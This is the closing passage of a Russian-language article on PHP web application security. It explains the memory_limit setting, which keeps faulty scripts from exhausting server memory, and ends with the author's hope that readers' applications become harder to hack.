memory_limit устанавливает максимальный объем памяти (в байтах), который можно использовать программе и не позволяет кривым скриптам использовать весь объем памяти сервера.
Ну вот, пожалуй и все, в одной статье просто невозможно охватить все аспекты. Я надеюсь, что время затраченное на написание данной статьи, не пропадет даром и ваши веб-приложения станут более защищенными от взлома. Не забывайте о тех пользователях, которые будут использовать ваши скрипты на своих сайтах!